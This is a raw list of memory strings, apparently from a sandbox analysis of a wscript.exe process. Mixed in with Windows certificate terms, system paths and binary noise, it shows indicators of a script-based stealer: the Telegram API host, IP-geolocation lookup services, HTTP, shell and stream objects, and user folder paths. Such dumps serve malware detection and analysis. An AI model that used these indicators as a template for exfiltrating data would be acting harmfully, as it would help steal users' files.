                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: all issuance policies,ynut$memstr_44841c69-b
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: sha256'ygu%memstr_d1101ad3-2
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ^y`u&memstr_035943a4-a
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: vsyyyu'memstr_d544f6f2-9
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: vpyru(memstr_807badf0-3
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 1n8jkyku)memstr_ea97a68b-7
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: bydu*memstr_36c7dcb3-f
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: )}y]u+memstr_ecfd3232-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: windows rt verificationtyvu,memstr_7e1d5361-d
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: `oy/u-memstr_2ff3d7b3-9
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: fy(u.memstr_05202d98-c
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: yay!u/memstr_84ba4729-d
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: encrypting file systemmemstr_e7b09519-8
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: preview build signingmemstr_7083c42f-b
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: encryption algorithmmemstr_3770c5ee-8
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: server authenticationmemstr_1e731877-a
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: windows kits componentmemstr_852837ee-b
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: qualified subordinationmemstr_0f9baed8-1
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: private key archivalmemstr_1c6ea942-f
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: platform certificatememstr_61457ad6-4
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: windows tcb componentmemstr_64cbacd5-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: client authenticationmemstr_fea3a0b8-d
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ip security end systemmemstr_0e6229cf-7
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: inhibit any policy]^~tmemstr_b3f60eb5-e
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: revoked list signerw^xtmemstr_a3c7fad7-c
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: root program flagsq^rtmemstr_2d6044ce-b
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: sealing signaturek^ltmemstr_a406f63d-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: root list signery^ztmemstr_7c9aa44b-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ip security users^ttmemstr_462e6f0d-1
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: sealing timestampm^.tmemstr_e8c2ae4e-7
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: key recovery agentg^(tmemstr_14f070fa-8
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: lifetime signinga^"tmemstr_3988c30a-3
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: smart card log-onmemstr_9244ebfc-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: client informationmemstr_61d85ddf-9
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: enterprise root oidmemstr_1fe9f388-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: jurisdiction hashmemstr_ab28719d-8
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: microsoft publishermemstr_32b33b9b-b
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: tpm specificationmemstr_7be08104-9
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: document signingmemstr_0e933cb4-9
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: kdc authenticationmemstr_5d6d3b4e-6
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: key recovery agentmemstr_9107acdd-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: key pack licencesmemstr_84b3bb78-1
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ds[_}tmemstr_005edef6-c
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: $taa_ctmemstr_64898542-6
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: $\ar_vtmemstr_85c72eb0-7
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: $g_)tmemstr_58951149-d
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: iconresourcememstr_147a91f0-1
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\program files (x86)\microsoft onedrive\onedrive.exe,1memstr_c7a7f44b-1
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: iconresourcec:\program files (x86)\microsoft onedrive\onedrive.exe,1memstr_806ff437-8
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: jc:\windows\syswow64\wbem\wbemdisp.tlbmemstr_7debaa71-6
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\programdata\microsoft\windows\start menumemstr_59bfb17c-4
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shell:::{018d5c66-4533-4307-9b53-224de2ed1fe6}memstr_10af98de-f
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <c:\windows\syswow64\scrrun.dll4simemstr_53875074-4
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \user\appdata\roaming\microsoftmemstr_7a5737b7-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 481f-904-memstr_59053250-3
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: (non)standard marshaling for iwbemobjectsink41\memstr_01313f18-3
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: (non)standard marshaling for iwbemobjectsinkex"\fumemstr_4dd21da9-6
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: $row\yumemstr_2d3a7147-8
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: h\lumemstr_3683293b-6
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: (non)standard marshaling for iwbemmultitargets}\_umemstr_1f6c2808-d
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: `cwoxximemstr_c22a1277-9
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: >c:\windows\syswow64\stdole2.tlbmemstr_b7359c3b-c
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: t ckmmemstr_bef8d658-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: windows hardware driver attested verificationmemstr_6fe63f51-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: microsoft unified security protocol providermemstr_0145d7c4-6
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 6-8kzmemstr_7b6069f5-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: windows hardware driver extended verification8]memstr_37b20d0a-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: embedded windows system component verification memstr_40502757-6
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: msxml2.serverxmlhttp_]btmemstr_a9eb25eb-4
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: wohtimemstr_93581975-d
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: su(thmemstr_aba588e1-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: woxximemstr_abb96c7f-c
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cbuxvamemstr_83462c7d-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cbuhtamemstr_460fcaa6-6
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 1.3.6.1.4.1.311.10.3.32memstr_fc228706-4
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: https://api.telegram.org/memstr_9f1406f0-f
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "1.3.6.1.4.1.311.10.3.34memstr_e28488e9-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: !1.3.6.1.4.1.311.10.3.33memstr_f20cafbf-f
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: #1.3.6.1.4.1.311.10.3.35memstr_4a74276d-4
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\windows\system32\mpr.dllmemstr_12f274b6-9
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: wo wimemstr_9dea12a0-1
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: rng/bmemstr_5d48a279-1
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cbuhsamemstr_cbad5fa5-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'bju memstr_4a770efa-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: sha1imemstr_715ad422-b
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: _bbu!memstr_23cda8c2-4
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 8ahsmmemstr_856e2597-8
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @wbzu"memstr_30fc464a-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: microsoft\windows\historyobru#memstr_75969274-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: lmem(memstr_42f1835e-9
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: :2023100320231004: lmem(4;hmemstr_6c0a03ae-b
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: gbju$memstr_ef034f9b-d
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ts service security packagememstr_c3bc570d-c
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: wbzu&memstr_44bc3293-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: schannel security packageobru'memstr_bd44a54c-4
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: gb*u(memstr_5bac5b57-e
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: schannel security packagememstr_c475b6f8-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: endorsement key verifiedmemstr_53ef6a94-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ahsmmemstr_12d28595-2
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 8ahsmmemstr_0b917ab4-2
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: pk=i0memstr_cb3fb736-1
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: aeslookup.iolmem(dmemstr_e22d914b-d
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: sha256memstr_985e011c-3
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: :2023100420231005: lmem(t;hmemstr_703b2f68-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: sha256microsoft primitive providerxmemstr_69414f44-a
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: bcryptprimitives.dll memstr_686156df-2
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 1ocdtmemstr_800e6bfe-8
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 4ccxtmemstr_9fa6958c-a
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: iy@nu*memstr_bd51c6ea-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ?s@hu+memstr_e77939d7-4
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @m@bu,memstr_7831c105-8
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <g@|u-memstr_e240a14c-7
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: aa@vu.memstr_4b7c8666-d
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: rsa-amemstr_9d798119-3
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: wscript.shellea{tmemstr_7bbdc1ab-b
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\public\desktopmemstr_8c209a50-2
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: lrpc-269d65d60108622213memstr_dc180d54-7
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: wscript.shellmemstr_631c4796-4
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ncryptsslp.dllmemstr_30bab81b-3
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: lrpc-269d65d60108622213/fmemstr_091773be-c
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: lrpc-269d65d60108622213sfmemstr_70abeb78-3
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: }d"pnmemstr_24072ed5-4
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\desktop|fmemstr_6485e64e-d
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: memory mapped cache mgrwfmu$memstr_2bcce18e-a
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: nffu%memstr_fd27b6c3-2
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: memory mapped cache mgrifmemstr_02745fdb-1
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: `fxu'memstr_a2921fdc-a
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\picturesmemstr_f1906b98-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\desktop.inimemstr_5b95b761-7
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\videosmemstr_a1116428-3
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: hj(5w<memstr_1717ab7d-f
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cccoma_x64fre_en-gb_dv9memstr_c5f57bf3-7
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\musicmemstr_d875af09-8
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\windows\fonts%gmemstr_efc0dc51-6
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: rgjvimemstr_bc6bc222-b
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: mgcvjmemstr_9f8cbc63-a
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <?dg|vkmemstr_cca6fd07-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\onedrivememstr_bfe0106d-e
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ]/qnnmemstr_0167183e-8
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: b,gmdmemstr_7b63cc55-1
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: avdnwmmemstr_b7c4c4f6-9
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: z'qdgwnmemstr_d3a1960b-4
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: hd`womemstr_1ac33ef3-1
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: kcdywmemstr_1f7c950d-7
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: kcdywpmemstr_3889f06c-1
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: h5t[umemstr_7acbb922-c
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ytr[^f"ghkmemstr_684770cd-9
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ytr[^f"ghkememstr_684dcc04-d
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: lrpc-559bf06f72796be679ememstr_f564b046-b
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: microsoft kerberos v1.0$ememstr_dda71cce-c
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ntlm security package9qememstr_697ae0b1-3
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: microsoft unified security protocol providerhememstr_3e15bb3e-b
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ytr[^f"ghkcememstr_bfac7659-7
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: sha1microsoft primitive providermemstr_904ccc2e-e
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: api.telegram.orghtepmemstr_255969aa-8
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: rsamicrosoft primitive providermemstr_486f01fa-a
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: keylengthmemstr_cadba0db-9
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: feedplat:lmemmemstr_853b18d3-2
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: feedplatlmemmemstr_19a47139-8
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: p;8j(tmemstr_224a0681-8
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: o2j"tmemstr_3d462f6e-3
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: o0pa]memstr_71d583d6-e
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: json.geoiplookup.iobjmemstr_fd487dc9-6
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 19i0 b]memstr_59f8cfdf-6
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: digest authentication for windowsiodjmemstr_7d4684f5-1
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: gssapi)memstr_d8401651-4
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 9i@b(memstr_44f2b460-c
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: (assmmemstr_23ddac73-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: security managermemstr_87d4c3b5-8
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: k`hrkmemstr_ea0f97a8-c
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: k`hrk0memstr_66ec6ad7-e
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <k,u5memstr_9e79512a-b
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 6k&u6memstr_1c78ad34-a
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 0k u7memstr_25367e42-a
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: filesystem object*k:u8memstr_fcdaff9d-7
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: $k4u9memstr_b43400b8-9
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: adodb.streamrkmemstr_ef4a7400-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: filesystem object@kmemstr_1ffba26a-1
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\windows\systemhkmemstr_f5b071ea-f
